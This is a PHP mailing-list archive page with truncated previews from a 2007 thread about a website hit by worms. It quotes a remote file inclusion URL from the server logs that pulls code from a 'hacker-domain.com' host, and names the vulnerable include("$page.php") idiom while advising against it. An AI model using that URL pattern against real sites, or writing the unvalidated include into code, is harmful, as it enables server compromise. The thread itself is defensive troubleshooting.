[PHP-WIN] Re: [PHP] Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

2007-03-15 Thread Richard Lynch
On Thu, March 15, 2007 9:15 am, Seak, Teng-Fong wrote: > Stut wrote: >> Seak, Teng-Fong wrote: >>> But after I've spent some time reading the log files, I've >>> finally >>> found out how the hackers managed to achieve worm infiltration. >>> >>> Actually, they're using an URL like this: >>>

[PHP-WIN] RE: [PHP] Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

2007-03-15 Thread Jim Moseby
> > Seak, Teng-Fong wrote: > > No, I don't deserve anything because, as I've written in the > > original post (but I suppose you didn't notice), the website is > > outsourced and made by a 3rd company. Then you should be having this conversation with the 3rd party. They need to validate *EVERY*

Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

2007-03-15 Thread Seak, Teng-Fong
Seak, Teng-Fong wrote: > No, I don't deserve anything because, as I've written in the > original post (but I suppose you didn't notice), the website is > outsourced and made by a 3rd company. Well, I've just realised (and checked) that I forgot to mention that my company's website was outsource

[PHP-WIN] Re: [PHP] Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

2007-03-15 Thread Dave Goodchild
Turn off register_globals - if you pollute your scripts with global variables like that you are asking for trouble. If you can't make sure you clean the variable. Using include("$page.php") is asking for trouble. If you can get register_globals switched off (it's off by default in PHP5 for this

Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

2007-03-15 Thread Seak, Teng-Fong
Stut wrote: > Seak, Teng-Fong wrote: >> But after I've spent some time reading the log files, I've finally >> found out how the hackers managed to achieve worm infiltration. >> >> Actually, they're using an URL like this: >> http://my-domain.com/index.php?page=http://hacker-domain.com/some-